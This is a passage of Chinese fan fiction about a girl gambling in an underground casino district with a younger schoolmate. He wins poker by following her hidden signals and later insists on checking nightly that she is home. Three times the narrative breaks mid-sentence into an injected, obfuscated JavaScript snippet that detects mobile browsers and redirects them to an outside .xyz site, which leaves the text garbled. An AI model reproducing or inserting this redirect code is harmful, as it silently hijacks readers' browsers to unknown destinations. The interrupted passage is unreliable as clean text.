“好啦!就是地下街的店面其实走进去都是赌场啦!那边是很混乱的□□街,听说有人进去一趟,出来就变成富豪;但更多的是输得倾家荡产、血本无归,被像垃圾一样扔出来的人。地下街的旁边有轨道铺过,每年的自杀率居高不下;还有很多人输得太多无法抵债,最后直接从社会面上消失了——总之净是些可怕的传闻,我们这边的人很少去那一带的。”榆井用一种阴恻恻的口吻介绍完地下街,话锋陡转,“不过在那条街,最最风行、经久不衰的传闻,当属四年前的新年前夜,因为设施没钱吃不上火锅,拉着梅宫哥愤而出走的稻姐姐,冲进了地下街,血洗了赌场,从地下街的这头一家家赢过去,最后在最大的牌庄里打雀牌,一晚上赢到了供整个设施过三年富裕生活的巨额钱财的故事!” 樱目瞪口呆:“这就是那个什么三什么六的?” “正是!”榆井用力点头,“那晚的雀牌打了五次半庄,从半夜一直打到了第二天天亮,稻姐姐一度在东风场连庄了十局,总计胡出了三次天和、六次地和,以及无振十三面国士无双,九莲宝灯和其他役满就不可考了——总之,正东风强运姬的美名就此传开!不过那一次也闹得很大,几家赌场怀疑稻姐姐出老千又拿不出证据,纠缠不清的,梅宫哥跟人动了手,还是第二天一大早柊哥带着梶哥他们去抢人,惊动了警察,差点就把梅宫哥和稻姐姐带走了。” 这段光怪陆离的旧事让樱嘴角抽搐了半晌,末了缓缓吐出一句:“还怪厉害的……” 苏枋思忖了片刻,没被榆井声情并茂的讲述带跑。他在脑子里将他的每一句讲述都反刍一遍后,得出了结论:“所以那天在公园,稻小姐交给设乐老师的,应该是后续的资金——因为她四年前赚来的巨款花得差不多了……” “我也是这么认为的——”榆井说,“而且这样一来不就说得通了吗,稻姐姐忽然回到镇上,不只是因为房租到期吧,也是为了解决设施的经济困难,和设乐老师交割财物。” “难怪。”苏枋低喃道。 所以她才会在设乐拒绝她递出的银行卡的时候,十分自信地点着自己的额角说,没事的,这点钱,只要她脑子还在转,要不了多久就能赚回来了。 “啊?不一定吧,应该还有别的原因啊。”樱突然拖长了调子,揉了揉后颈。 “咦?什么原因?”榆井问。 樱嫌麻烦似的摆摆手:“我听那群家伙闲聊的时候说的啦——稻垣这次回来是想跟前男友复合什么的。” 7. 少女都有两副面孔 正东风镇血气方刚的少年们曾深信,置于梅宫一庇护之下的强运姬绝不会属于任何人。文明观赏,无人采撷,这是公认的规则,也已经是最公平友好的结果了。 可是,不许人打她的主意是一回事,她要自由恋爱是另一回事。 稻垣不梦这朵正东风高岭之花,在国中三年级的那年春天,毫无预兆地违背了赏花之人的期望:她自己越过了大家共同遵守的规则和距离,垂落在一个人的肩头——她和梶莲在一起了。 强运姬本人自诉她暗恋青梅竹马很久了,是她倒追的梶莲。 消息一出,镇上的少年们惨叫着炸开了锅。梶莲一下子跃居正东风镇男孩子们的暗杀名单榜首,人人恨不能将这个闷声干大事的偷花贼除之而后快——可惜恨归恨,恨得牙痒痒也没办法,没人敢拿他怎么样,因为真要打架的话,纵观整个正东风镇,能在梶莲手下占到便宜的也并不多见。 陆陆续续还是有不少不信邪的人上门找梶麻烦,不过这些少年多半竖着来的横着抬走。梅宫的态度是听之任之,看戏看开心了还在旁边加油叫好;柊先看不下去了,及时介入,堪堪拦下了一批为爱自寻死路的蠢货,被椿野评价为心慈手软行善积德。 次数多了,强运姬也厌烦了每次和男朋友出门约会总有碍事不长眼的横插一脚——只是牵手散个步而已,都有人不远不近地黏着死瞪着看,实在令她恼火。最后,她打定主意要一劳永逸地摆平这个局面。 于是,在某个火烧云铺满天际的黄昏里,东风商店街的大道上,在防风铃刚在入口处立起来的告示牌边,她扯住男朋友的帽衫衣领,拉下他的耳机,抽走他嘴里的棒棒糖示威似的舔了一口,放进嘴里一口咬碎;紧接着在众目睽睽之下,踮起脚尖强吻了他。 梶当时在风中站成了一棵树,唯一能做出的反应是下意识地伸手圈住稻垣的腰扶稳,让她别太费力。琴叶和椿野先后尖叫着抄起手机定格这一幕,梅宫捶墙狂笑,大喊这到底是宣誓主权还是声明归属权啊,柊异常无助,哆嗦着拉开外套掏胃药。 那天晚些时候,艳丽无双的少女在满天红霞下亲吻戴耳机的少年的照片在聊天室和社交平台上广为流传,镇上的男孩子们像是私底下商量好似的,发推配文风格是整齐划一的哀莫大于心死,祝福但不尊重,下辈子再继续追梦。 无论如何,强运姬高调的举动无情地打碎了一票少年的美梦和妄想。那些烦人的小动作就此偃旗息鼓,虽不至于心服口服,但公认梶莲赢得彻底——因为再刁钻的挑刺、再强烈的不死心和暗自比较,在稻垣不梦放肆到扎眼的偏爱面前都失去了抗辩的余力,一瞬间尽数化作齑粉。 没失明的人都看得出,她满心满眼只有梶莲——攀折了金枝的梶让人嫉妒,有意落花的稻垣也免不得受人埋怨。可时间一长,嫉妒和埋怨就都渐趋消散,因为爱着什么人的稻垣比站在他人庇护下、轻蔑地睨着窥探者的时候更加动人,她的脸上不再贴着那副和煦又冷漠的面具,一举一动都温存可亲。 可是,就在众人都陆陆续续接受了稻垣和梶在一起的事实的时候——在交往一年后,稻垣和梶毫无征兆地分手了。 正东风镇的男孩子们再次炸锅。 金枝已被人折落过一次,那就意味着她并非高不可攀——每一个人都不是全无机会,下一个得到垂青的幸运儿会是谁? 然而事情发展再度不如人所愿——一开始就没机会的人永远都没机会。就在男孩子们暗地里摩拳擦掌、蓄势待发时,稻垣声称初恋的无疾而终令她的内心严重受伤,短期内都没法重新振作,更遑论开启下一段恋情——这种说辞狗都不信。 分手后那段时间,人人都看在眼里,稻垣每天还是该干什么干什么,梶却一副魂不附体离死不远的样子;以至于关系好的同级生开始忍不住为梶愤愤不平,断定这个对待感情笨拙又真诚的家伙一定是被薄情寡义的强运姬狠狠玩弄了。事实如何不可考证,毕竟相关知情人士嘴都严得一点风不漏,只是后来,又有一条小道消息不知道从谁那里传出来:在分手前夕,稻垣不明缘由重伤住院。 一时间,真相又扑朔迷离起来,各种传闻不断,众说纷纭。不过很快,稻垣和梶仓促的分手事件就翻篇了——稻垣考上了东京贵族高中的特招生,她疲于来回奔波,决定搬到东京独居,就此离开了正东风镇。 这令一干少年扼腕叹息——她虽然恢复了单身,他们的境况却没有任何改变,甚至在上下学的路上刻意制造偶遇、远远和她搭几句可有可无的话的机会都没了,多么令人沮丧。那可是东京——灯红酒绿、繁华如梦的二十三区啊,花花世界迷人眼,她到了那里只会遇到更多更优秀的男人,更不会回头多看一眼小镇上的少年了。 于是,有人背地里用这样一句话评价稻垣:少女都有两副面孔,一副堂而皇之用来索爱,一副平白无故叫人受伤害。 然而,令人意想不到的是,一年后,事态又猝不及防发生了转变:强运姬回到了正东风镇——着实振奋人心,可这件事一体两面,有好有坏:好的一面是,她依旧单身;坏的一面是,她身边跟着梶莲,一如既往。 少年们百思不得其解。 这是怎么回事?怎么会这样? 绕了一大圈,一切好像又回到了原点。 苏枋那天照常在晚饭过后出门散步,路上随手做点帮小孩子取挂在树上的风筝、告诉怒气冲冲的老爷爷是哪个混小子的投掷球砸碎了他家窗玻璃之类的小事。 他心情还算不错,步履也轻快,背着手晃了一路,漫无边际地想着点有的没的,回过神来的时候已经到了京成街的边缘地带。 再往前,好像就是传说中吃人不吐骨头的地下街了——远远看去,好像也挺普通的。 很正常,臭水沟上总要盖块木板,人才会放心踩过去啊。苏枋这么想着,预备折返时缓了一下——就是这毫厘之差的犹豫,让他目睹铁轨边半人高的枯黄芦苇丛里从无到有冒出来一个瘦削的身影。 摇荡的芦苇顿时将尘腥味的风扬了他满身。苏枋的瞳孔微微收缩了一下。他快步走过去。 “稻小姐?” 稻垣吓了一跳,扭过头来,手里的爆珠细烟的一端明灭闪烁,几缕烟气腾起,徐徐勾勒她锋利的眉眼。 她和平日里判若两人——准确地说,是特意从头到脚改变了装束。她挎了一个小背包,身上束着朋克系的短装皮衣外套,罩住里面的一字肩修身内搭,黑色Choker上的银链子垂挂下来,压在锁骨上;下装是短裤和裹腿长靴,鞋跟高得吓人;蓝色挑染的长直发是假发,化了很浓的妆,鼻梁上贴了一道亮晶晶的水钻,压着下眼睑连缀到眼尾。 苏枋一眼就看出来,这种近乎警戒色一样的妆容背后有特殊的目的。强烈的攻击性还在其次,稻垣利用眼妆、鼻影、贴钻还有发型的遮挡,巧妙地调整了三庭五眼的视觉比例——她让自己看起来像换了张脸,配以和平时迥然相异的装束,不是熟人的话,眼下绝对认不出她。 至少现在的稻垣,比苏枋还像个桀骜不驯的不良,穿着私服的苏枋反倒像个听话正经的乖孩子了。 最直接的证据就是,她此时此刻,瞪着一双漆黑的眼睛惊疑不定、惴惴不安地望着苏枋——她平时一直在用有色的隐形眼镜改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059609|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变眼球的颜色。 苏枋冷下了脸,语气淡淡:“稻小姐不是身体不好么,怎么还抽烟?” “你怎么知道?”稻垣尴尬地眨眨眼,掐灭了指间剩下的半截烟,一股浓郁的薄荷味弥散开来,“实在是烦心事有点多——啊,我已经戒掉很久了,今天例外,你别跟别人说。” 怎么又拉他下水,惯犯吗。苏枋不赞同地皱了皱眉。 稻垣很快调整状态:“既然你来了,陪我进去一趟吧,我正好缺个搭手的。” “稻小姐要去赌场?”“明知故问。不去赌场到地下街来干什么。”“百花王的赌局还不够吗?为什么要去地下街,太危险了。” 稻垣面露怏怏:“最近比较缺钱……” 苏枋紧跟着逼问:“因为给设施的援助超出承受能力了吗?”这话让她不快地皱眉:“你怎么什么都知道?” 苏枋一点都不让步:“是,还是不是?” “是……”稻垣懊恼地叹了口气,“在百花王呆久了,对数字有点失去概念,老师说资金要见底了,我想都没想就把存款全都给出去了——身上的钱维持正常生活没问题,但要在学校里参与赌局,那就不太够了。” “稻小姐给了设乐老师多少钱?”“这跟你没关系吧。”“多少钱?”“……3000万。” 3000万?! 苏枋心里一突。要知道在东京,年收入1000万左右已算得上万里挑一的精英了,稻垣居然一下子给出了3000万——她去百花王不过一年多啊,一年就攒下3000万的存款,这个学校的学生到底是有多把钱不当钱? 苏枋深吸一口气,压下所有芜杂不堪的情绪和思索:“稻小姐今天一定要去吗?” 稻垣的妆容让她此刻不管做什么表情都显得冷漠、偏激且充满敌意:“对。” “要是我不陪您进去呢?”“那我再找别人。” 苏枋差点没忍住质问她,那为什么不直接找梶。 苏枋掂量了一下厉害关系,没花太多时间,他不愿意在稻垣面前流露过多的犹豫:“我陪稻小姐进去可以,您再回答我一个问题。” 稻垣有点忍无可忍:“得寸进尺啊你。” 苏枋也不客气:“成交还是就地解散?”稻垣迟疑了一会儿,心不甘情不愿地小声嘀咕:“成交。” “稻小姐是不是经常来地下街?” “不是。”稻垣矢口否认,“我当初第一次进地下街,就闹得警察都到场了;本来之后都不打算再来,可是国一那年出了点事,急需用钱,我就铤而走险又去了一次,结果被人认出来,差点捅大篓子——那次以后,梅就严禁我再踏进地下街了。” 苏枋思索了一会儿——很短的时间里,他一线穿珠般把散落在只言片语里的蛛丝马迹一一勾连起来。 是这样啊。 原来是这样啊。 他平静地追问:“稻小姐上一次进地下街,是为了梶哥吗?”“什么……” 苏枋的思路非常清爽:“梶哥打伤了想收养您的坏人,被勒索了巨额赔偿,稻小姐是为了替梶哥筹措那笔钱,才第二次进地下街的吗?” 稻垣终于露出了震惊的神色,甚至都没留意到这又是个新的问题了。 她盯着苏枋,语气古怪地说:“苏枋,你真不是一般的聪明啊。” 苏枋垂目:“过奖。” 他想,是的,大家没有说错。 诚然,少女都有两副面孔。 一副用来索爱,一副用以偿还。 她深知得到的喜爱自有其代价,而她一旦接受,就意味着甘愿承担。 8. 双人成行 跟着稻垣进赌场时,苏枋问她,进去玩什么。稻垣不动声色地扫视周围,回答,德扑吧。 “好上手吗?”“规则挺简单的。”“比运气的那种吗?” “不,□□是打技术的,技术和策略比运气重要。”稻垣换了一摞筹码出来,苏枋瞄了一眼,只有颜色的区分,没有数字标记,他不确定那一共有多少钱。 “那——”“没事的。”稻垣把筹码塞给他,然后空出两只手,挽住了他的胳膊,苏枋下意识想退开,稻垣的话让他停下了动作,“不用多想,按我的指示做就行——有我在,你一定会赢。” 苏枋无奈道:“原来我是工具人呀。” “不然呢?”稻垣反问,“小学弟,这里是肮脏大人的世界,你那点小聪明玩不过别人的。” 苏枋微笑:“稻小姐驾照掏一下。”“没有,闭嘴。”稻垣凑在他耳边压低声音交代道,“听好,一根手指点你是跟,两根是加,并指一划是弃,手掌拍你是全押,记住了吗?” 苏枋点头。 稻垣笑了,挽着他迈开步子往开设德扑牌局的台子去:“好乖!走啊,幸运男孩——姐姐带你见见世面。” 在□□桌落座,刚好十位玩家,稻垣旁若无人地拖了把凳子在苏枋身边坐下,没骨头似的往他身侧一靠,掏出手机开始看推特。 荷官见状询问:“小姐你这是……?” 稻垣不耐烦地掀了掀眼皮,语气很冲:“陪男朋友来的,怎么,不行?” 荷官连忙赔笑道:“怎么会,请随意。”说完用一种带着点下流暗示的玩味目光瞟了一眼苏枋——要不是自小家教严格师教修身,苏枋早就掀桌子了。 牌局开始。盲注过后发底牌,苏枋双手拢住掀了一角,一张3一张4。大盲注下一家选择跟了,轮到他——要是他自己来决定的话,这种牌肯定不会跟了,但桌子下面,稻垣两根手指轻轻落在他膝上。 苏枋停顿了一下,捻了四枚筹码放到桌上:“加注。” 下家接连三家盖牌不跟。一圈表态完毕,桌上一下子只剩五家。 公牌开出两张4一张K,苏枋不由得有些佩服稻垣。小盲注盖牌,轮到苏枋时,稻垣还是点两根手指,他不再犹豫,继续加注。 第四张牌又开出一张K,场上只剩三家。小盲注加一枚;稻垣一点,苏枋跟了;下家摸摸下巴,咧嘴一笑,加注十枚;上家果断盖牌。 公牌一大对一小对,花色各不相同,敢加注十枚,底牌一定是不差的,大概率有一张K。苏枋如是猜测——这种情况,再怎么说也该收手止损了吧。 没想到,稻垣空着的那只手直接绕过他的腰搂住了他,手掌结结实实贴在他侧腹。 苏枋一惊——等等,真的要用这一手Full House去跟大盲注拼到底吗?牌型虽好,但数字太小了啊,用三张4去打三张K岂不是自寻死路?苏枋再度迟疑了,用余光扫了一下稻垣。 稻垣还是一副百无聊赖的样子,她打了个哈欠,仰过头露出好看的脖颈,在苏枋肩头亲昵地蹭了蹭,顺势侧过脸,贴着他耳坠上的红珊瑚用气声呢喃:“信我。” 大盲注家用凶恶又羡慕的眼神死死瞪着苏枋:“喂,小哥,在赌桌上卿卿我我是会翻大车的哦。” “失礼。”苏枋嘴角一勾,笑得谦和端庄,转手把筹码全都推出去,“全部押进。” 大盲注家果不其然被他的态度激怒了,全押局成立。 公牌第五张又开出一张4。苏枋眼皮狂跳。两家开牌,上家手里果然有一张K;苏枋斯斯文文把牌一翻,一手四条让人哀嚎着下桌了,桌上其他人都不由得多看他两眼。 稻垣勾他袖子,把手机递近一点,苏枋低眉一瞟,看见她在回复琴叶的查岗消息——言之凿凿说自己在便利店买东西呢,可爱贴图不要钱一样地发。 Line对话的输入框里是一句没发送的“打德扑靠的是技术,但运气也很重要啦”。 她确认他看过,又把那行字删除,飞快敲上一行新的:“叫你别想太多,照我说的做,乖乖听话。” 苏枋失笑,嘴上虚情假意道:“看上那家甜品了?下次去吃吧。”稻垣从鼻子“嗯”了一声,格外温顺乖巧。 第二局开始,苏枋彻底躺平,不再动脑筋,稻垣怎么点他怎么做,把牌桌上的人一家接一家送走。强牌弱打引人上钩,弱牌强打逼人下车——这种最基本的道理谁都懂,难的是实战运用时的心理博弈和情报分析,还有关键时刻定胜负的胆识和魄力,赢的时候盆满钵满,稍有不慎满盘皆输。但稻垣的决策从不出错,她对情势的观察细致入微,对对手行为心理的解读和预判非常到位。 苏枋发现,稻垣的德扑策略非常激进。她进攻相当积极且凶狠,敌退我进,敌进我火并,敢拿着半吊子的底牌打价值跟别人的幸运牌硬碰硬——最重要的是,打德扑看重技术,但在压倒性的强运面前,技术也无能为力;而正东风强运姬的运气好得近乎霸道,底牌稀烂也能在第五张公牌起死回生,把对家一个个气得仰倒。 她的博弈和心理攻防玩得更是一流,时不时握着一把散牌,单靠真真假假的跟注加注,反复拉扯把对家搞崩溃了,半途弃牌逃跑。 而她最聪明的策略,就是拉来了苏枋。苏枋是个稳重不挂相的人,很难从他的表情推测他的手牌好坏;此外,因为坐在牌桌上的是“男朋友”,别人就想当然地以为稻垣只是个挂在男友身上的美丽废物,注意力都不在她身上,她就凭着这等便利,在无所事事玩手机的遮掩下,肆无忌惮地观察他们的神态、表情和所有暴露心思的小动作,把他们的心态摸得一清二楚。 最后一把,苏枋已经赢得很多,对家还不死心,想着以小博大。开完第一轮三张公牌后,稻垣双手环过来,抱了抱他,在他耳边嘱咐:“这把你自己玩吧,筹码全部兑现,装好了再出门,我在外面等你。” 苏枋微微点头,在稻垣起身后从容抬手,宣了最后一把全押——最终开出了当晚全场唯一一把皇家同花顺。 苏枋单肩挎着一包现金出门时,稻垣正站在芦苇丛边和人讲电话,她在风里拢着头发,语气软和又无奈。 “我真的只是在家附近散个步,没有到处乱跑——我马上就回家了。” …… “没必要告诉梅呀,琴叶,我没事的。”她转过身,看见苏枋,面上一喜,快步向他走来,“对了,我在便利店买东西的时候碰到风铃一年级的小孩了——我们一起散步来着!我没有一个人呀,很安全的,不信你问他!” 她开了免提,递到苏枋跟前,态度殷切,满脸写着“帮忙圆个谎拜托拜托”。 苏枋横了她一眼,抿了抿嘴角。稻垣急得要扯他袖子,苏枋抬手躲开,叹了口气,低头凑到手机边,温声道:“琴叶小姐,是我,苏枋。” “啊,是你啊!”琴叶在那头松了口气。 “嗯,我跟着稻小姐呢——抱歉,稍微多说了一会儿话,走得远了一些,没注意时间,我现在就送稻小姐回家。您不用担心。” “有你跟着的话我就放心多了,不梦姐就是时不时很任性,没给你添麻烦就好了,交给你啦!” “是,琴叶小姐客气了,交给我吧。” 挂断电话,稻垣看苏枋的目光多了几分亲近:“谢谢啦,帮大忙了。” 苏枋面不改色往后退一步:“稻小姐别离我太近,香水的味道我不习惯。” “咦?很明显吗,我用的淡香啊……”稻垣抬起袖口闻了闻,一脸歉意,“熏着你了?对不起,下次不喷了。” “还有下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059610|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次?”苏枋皱了皱眉,“今晚已经赢了将近100万了啊。” 稻垣模棱两可地回答:“这个不好说。” 苏枋刚想开口,稻垣赶紧打断他:“没关系的,下次我叫别人,不会再麻烦你了。” “您想叫谁,梶哥会同意稻小姐再来地下街?” “梶当然不行,他会告诉柊,那不就等于梅也知道了?我不得完蛋了。” 苏枋隐隐有点压不住火气了。 她不叫梶,不叫梅宫他们,她还想叫谁?她难道打算随便拉个人就搂着进赌场然后在别人大腿上画圈打叉吗?她知不知道自己在干什么,还有没有点常识在身上?! 苏枋不接茬,单手背在身后迈开脚步,冷声说:“走吧,先送稻小姐回家。” 稻垣欲言又止,一路无话。 快到稻垣家的时候,苏枋又闻到了风里若有若无的苦楝花香,他终于觉得心头那股无名的怒火稍稍平复。 “稻小姐。”他开口。 “嗯。”稻垣应了一声,听起来小心翼翼。 “下次要去的话,还是我陪您去。” 苏枋让步了,因为不用琴叶提醒,他也知道这位大小姐有多任性,她做的决定连梅宫都干涉不了——比起出去找外面不知底细的人,那还不如放在自己眼皮子底下来得好,必须有人盯着她,否则早晚要出事。 没想到稻垣不领情,她语气认真地同他解释:“不行,你的眼罩太显眼了——长得也是让人过目不忘的类型。苏枋,你自己意识得到吗,你很容易让人记住,我不能频繁带你去赌场,早晚要被人惦记的。” 频繁?她还想频繁去地下街呢? 苏枋讽刺道:“稻小姐搞搞清楚,您才是这个镇上最让人惦记的人吧。” 稻垣被他噎了一下,愣是没接上话。她茫然道:“你在夸我吗?” “您就当我在夸吧。”苏枋冷笑。 抵达那座种着楝树的小院门口时,苏枋把背包递给她:“稻小姐,我姑且给您一个忠告,信得过的人都不可能陪您去,他们会告诉梅宫哥;不可靠的人,您敢带着进地下街吗?他们会像我这样,在赌桌上对您言听计从,下了桌兑了现金,老老实实送您回家,再把钱一分不少地交给您?稻小姐这么聪明,不会抱有那种愚蠢的侥幸心理吧。” 稻垣接过了包,不说话。 “还是说,您真的一点自觉都没有——请别逼我把话讲得太难听。” 苏枋脾气随和,哪怕再怎么看不惯,嘴上也一向点到即止,他很少跟人讲这么重的话,更不要说教训比自己年纪大的人了;然而稻垣实在太让人生气了,他一点都不想迁就她。 还是那句话,他既不是梶,也不是梅宫,没有跟她一起长大的情谊,也不是把她放在心上的恋人,苏枋并无义务太照顾她。 尽管他今晚所做的,已经远超作为后辈这几面之缘的交情了——本来,他就没有理由非得为她操心什么,今晚陪她进地下街本来就是善良和责任心使然,任谁看了都得评价一句仁至义尽。稻垣要是再一意孤行,他也不会管她了,有道是好言难劝该死的鬼。 见她不出声,苏枋也不再紧逼,干脆转身:“今天就到这里吧,稻小姐早点休息,回见。” “苏枋。”稻垣蓦地叫住他,“那你呢,你算哪种人?信得过的,还是不可靠的?” 苏枋真是要被气笑了:“居然还好意思问我?我可是被您硬拖下水的啊——” 他停顿了一下,难得感到束手无策,只好在苦楝温凉稀薄的香味里叹息。 “稻小姐,您以为我是什么人呢?” 稻垣望着他愣神了一会儿,蓦地一敲手,绽开笑容:“哎呀,是共犯嘛。” 苦楝花期已近尾声,温情又残酷的春天快要结束了。 9. 守着爱怕人笑 稻垣的日常行程颇为单调:早上出门去车站,坐县营巴士转JR去东京上学;下午放学坐车回来,在商店街吃晚饭,散个步然后回家——上述全程有梶陪着。周末连休基本不出门,除非朋友有约;就算出门,活动范围也不会超出商店街和居住地周围二十分钟步行路程能到的地方。 这些都被镇上的男孩子彼此交换信息互通有无时摸得清清楚楚了。 但好在,她周日下午会独自去公共图书馆这件事,目前还没被其他人发现。 苏枋进了图书馆阅览室,四下一望,就看见脊背笔直、端坐桌边的少女。她身上穿剪裁讲究、款式简单低调的黑色长裙,妆容很淡。她看书时很专注,视线一点不飘忽,因而眉眼显出不言而喻的冷漠,浑身上下散发一股生人勿扰的凛然气质,支起带刺的壳似的,给人感觉非常难以接近。 苏枋走过去,旁若无人地拉开她身旁的椅子坐了下来——他坐定的瞬间就感觉到周围投来了不善的目光,隐隐在指责他堂而皇之地越过了大家默认的社交距离。 稻垣抬起头,看见苏枋,笑了一下,那层壳猝然破碎了。她做了个口型,没出声——她说,好巧啊。 她没因为苏枋的到来生出被打扰的不耐烦,也没意识到苏枋是奔着她来的。 苏枋开门见山,一句废话都没有:“稻小姐,我想问您要一个联系方式。” 稻垣一瞬间露出了困惑不已的表情,仿佛在她的预设里,许多男孩都有可能来问她要联系方式,而苏枋绝不是其中之一——还这么直接,连客套都不客套一下。 她没说什么,也没摆架子,转手摸出自己的手机递给他。苏枋接过来,道了声谢,划开屏幕,跳出了锁屏密码。 他抬头,对上稻垣揶揄的眼神——也是,她哪里是会爽快遂了人愿的个性。她托腮端详着他,等着看他什么反应,笑得很坏,又更显得俏皮可爱。 苏枋低下头思考。八位数密码,三次机会——一般来说,会是什么呢? 自己的生日,和梶莲交往的纪念日,或者……梅宫的生日?挨个试一遍的话,没猜中就没机会了。 苏枋想了想,又觉得,这些答案都不是——太普通了,稻垣不是这样的人。 强运姬不会像普通人那样赋予自己的生日特别的含义,也未必记得住自己和初恋交往的纪念日,更不会把疼爱自己的大哥当作最重要的人。 她是在这之上的,更特别的人。这是苏枋在迄今为止的观察中产生的最深的感受:稻垣这个人,心里最重要的人应该是自己才对。 蓦地,苏枋脑海里灵犀一现。他果断在手机上不带停顿地一口气输入四年前新年夜的日期——也就是稻垣在地下街一战成名的那一夜。 密码一击即中,解锁成功,手机壁纸猝不及防撞进眼帘。 稻垣倒抽一口冷气,赶紧探手过来挡——来不及了,苏枋动态视力那么好,一下子把她和梶莲的自拍合照看了个彻彻底底明明白白。 苏枋缓缓抬头,稻垣僵在那里,面如死灰。 玩脱了——苏枋头一回在她精雕玉琢的脸上看到了这几个大字,他推测她此时此刻大概在心里直呼救命。 苏枋深呼吸,手腕不着痕迹后拉了一点。 “稻小姐的Line可以通过号码检索到吗?”“……可以。”稻垣避开了他的视线,嗫嚅道。 苏枋视若无睹地点开联络人列表,添加自己的号码然后拨了出去。他摸进外套衣兜里摁掉了这通电话,接着锁屏,把稻垣的手机递还。 “好了。一会儿给稻小姐发Line好友申请,麻烦通过一下。” 稻垣接住,他没听到回答,故而没有松手,确认道:“稻小姐会通过的吧?” 稻垣手指收紧,默默点了点头。 “谢谢,回见。”苏枋放开手机,利索起身,头也不回地走了。 走出阅览室,他没往大门走,调头去休息区的长椅上坐下来,登录Line开始给一墙之隔的人发好友申请。 一秒通过。 呵呵。 在之后的几分钟里,苏枋几乎是抱着某种近乎玩赏的心态放任那干干净净的对话框停留在一片寂静的状态——反正现下急得抓耳挠腮的是对面,不是他。 终于,界面上故作轻巧地弹出来一条消息。 【不打招呼?】 苏枋半秒内点了个“日安”的贴图回过去。 稻垣又沉默了。 忍辱负重啊。苏枋冷笑。 他慢条斯理地打字,打完了故意拖一会儿再发。 【稻小姐最近有去地下街的计划吗?】 稻垣倒是回复得很快,字句虽短,但断得稀碎,一句句弹出来不带停。 【不去。】 【我那天不是跟你说了吗?】 【不能频繁去那种地方啊。】 【是,您说了,可我不太放心呢。】 苏枋那晚回去之后翻来覆去复盘这件事,不论怎么想都觉得,要是把这事就这么轻轻放过去,稻垣那边迟早要出纰漏。他这两天睡都睡不好,早上冥想也一直入不了定,实在忍无可忍,捡了周日下午的空闲,带着几分难以消散的起床气来图书馆抓人了。 苏枋停顿了一下,继续敲字。 【总觉得稻小姐会自己偷偷跑过去。】 【我这么没信誉?】 【对。】 【唉,怎么对我印象这么差。】 【我哪里惹你了?】 苏枋不回复第二个问题。 【因为稻小姐就是这样的人呢。】 【少用这种话糊弄人。】 【我跟你不熟。】 苏枋的手机在手里捏了一会儿,接着,他一勾手指又把话题牵回来。 【所以到底去不去?】 【说了不去。】 【我真的不敢带你去欸。】 【而且我一个人去也不方便,所以暂时不去。】 【以上!】 此地无银三百两,不像真话。苏枋眯了眯眼。 【你在担心我啊?谢谢啦。】 主动服软,更不像真的了。 【我不相信。】 【别这么纠缠不休的,会被女孩子讨厌哦。】 看吧,这就开始暴露本性了。 那就来吧,在暴露本性这一点上做比较是一件没有底线的事——苏枋早不知道被多少人背地里说过性格烂到家了。 【那我跟梅宫哥知会一声。】 对面如他所料当场慌了。 【别这样求你了!!】 紧跟土下座贴图三连发。苏枋无动于衷。 【我会每晚确认您有没有在家。】 稻垣很震撼。 【哈?】 【你要查我岗?】 【对。】 【凭什么??】 【不可以!】 【你要不要听听自己在说什么?!】 【你这是骚扰吧?!】 【失礼。我和稻小姐不熟,的确不合适。】 【那么,请梅宫哥或者柊哥来查也可以。】 【不要,真的不要!只有这个绝对不要啊!!】 稻垣又开始拿尖叫抓狂的贴图轰炸他。苏枋面无表情一律滑过。 【好吧……你查就是了。】 【不准告诉梅还有其他人!绝对不行!!】 【可以。不过我没有琴叶小姐那么好糊弄。】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059611|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【我会打视频电话。】 【晚上七点到十点之间,我随时会打过来,一共两次,间隔时间不固定。】 【这是为了防止稻小姐接了我电话之后立马出门。】 【苏枋,你好吓人。】 【我要报警。】 【你这是在侵犯我的隐私。】 【违法的啊!!】 苏枋不予理会。她都带他进赌场了,还搁这儿讨论违不违法? 【稻小姐有处理私人事务的需求的话,固定不方便接电话的时间段也可以告诉我。】 【放心,我不会闲聊有的没的,确认稻小姐在家过后,我就挂断。】 【可以的吧?】 【我说不可以有用吗?】 【很遗憾,没有。】 【我后悔了,我大错特错。】 【我在迄今为止的人生里还没犯过这样的错误。】 【我那天晚上就不该拉你上船。】 苏枋终于勾起嘴角,觉得憋在心里的气霎时间全都烟消云散了,浑身舒畅。 【如今后悔也来不及了。】 她从一开始就不该招惹他。 【总之,稻小姐要去地下街的话必须叫我。】 【否则,不许去。】 【你不装了是吧?对我用祈使句了是吧?】 【给我讲敬语啊臭小鬼!!】 苏枋第一次见稻垣骂人,心里笑得满地打滚,面上眼皮都没抬一抬。 【失礼。】 敬语是吧。 【晚上请记得接电话哦,姐姐。】 【不准叫我姐姐!!】 